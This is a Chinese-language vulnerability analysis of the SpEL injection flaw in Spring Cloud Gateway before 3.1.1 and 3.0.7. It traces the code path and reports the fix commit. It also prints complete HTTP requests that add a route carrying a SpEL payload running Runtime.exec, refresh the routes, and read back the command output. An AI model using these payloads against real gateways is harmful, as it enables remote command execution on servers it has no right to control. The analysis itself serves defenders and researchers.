Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring 表达式语言(简称“SpEL”)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了额外的功能,最值得注意的是方法调用和基本的字符串模板功能。
它有多种方式去执行命令,这里写简单的一种利用,通过调用静态方法实现命令执行、T中为全类名
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
spelExpressionParser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open -na Calculator\")").getValue();
github下载源码,我下载的是3.0.6版本。
项目地址:https://github.com/spring-cloud/spring-cloud-gateway
项目中有sample项目,可以导入IDEA直接启动。
首先观察项目结构,项目中最主要的是server包中的内容。
在项目中搜索SpEL表达式的特征点,由图中可以看到在getValue()
中会执行SpEL表达式,表达式为表达式模版类型,特征点为#{}
,接下来需要找entryValue
是否可控。
在同一个类中的normalize
方法中就会调用getValue
,参数为args
。
在normalizeProperties
中调用了normalize
,并将properties
传入,properties
就是要解析执行的SpEL表达式,而properties
又在properties()
中赋值,接下来就是找哪里调用了properties()
,只要能够设置这个值为想要的值,下次访问触发就可以执行对应的表达式。
在filter
与predicate
的加载中找到了设置值的地方。
中间还有一些调用这里就不写了,两个函数最终都是getRoutes
触发,执行SpEL表达式也会在getRoutes
中调用。
到这里就大概知道如何利用漏洞了,通过添加filter
或者predicate
让对应的properties
赋值,然后再访问获取路由从而触发SpEL表达式的解析执行,最终触发漏洞。其实在进行添加的过程中就会进行表达式的解析,因为操作都在getRoutes
中,但是如果要获取命令执行的结果的话就需要获取具体的执行结果,需要返回对应的路由详情查看。
参考Spring Cloud Gateway官方文档,获取程序执行流程、添加路由、获取路由的方法等。
执行流程中写明了访问路由时就会调用调用过滤器,和上面我们分析到的相同,只是发现在查询路由的时候predicates
也会进行SpEL表达式解析执行。
官方文档中也写明了路由的添加、查看与刷新操作,具体的操作内容请移步到官方文档查看。
再回到代码中,查看添加路由的代码,将POST请求的route信息传入Mono形成Mono对象,这个之前不太了解,简单来讲就是将数据存储到这个序列,并执行了一些添加路由的操作,但是发现没有之前分析的添加properties
的getRoutes
方法,因此这里只是进行了存储,并没有将路由信息真正的进行添加。
而在refresh
操作中,通过动态调试发现会执行到getRoute
方法,而这个方法之前也说了会进行设置filter
与predicate
的操作,同时也会进行解析对应的value值,执行对应的payload
,只是不返回结果。
如果要获取命令执行结果,可以直接检索所有的路由,使用GET请求进行访问。
综上所述,获取命令执行结果的步骤为:
1、POST请求添加路由,payload放在
filter
或者predicate
中都可以2、POST请求刷新路由,将路由进行添加,同时也会执行命令
3、GET方法检索所有路由,返回命令执行结果(前提是可回显的payload)
1、添加路由,设置filter
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
也可以设置predicate
{
"id": "hacktest",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com"
}
2、刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
3、检索路由,得到命令执行结果,可以检索指定路由,也可以检索全部路由,当检索指定路由报错时可以检索全部内容获取,路径为:/actuator/gateway/routes。
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
查看github提交记录
https://github.com/spring-cloud/spring-cloud-gateway/commit/25fb7475a766345928a86652f0d56b771018b483
发现默认了禁用网关执行器。
原来的注解中默认开启网关执行器,当关闭了网关执行器后便不会执行SpEL表达式了。
中间可能跳过了一些细节的内容,分析有误的地方请大佬及时指出~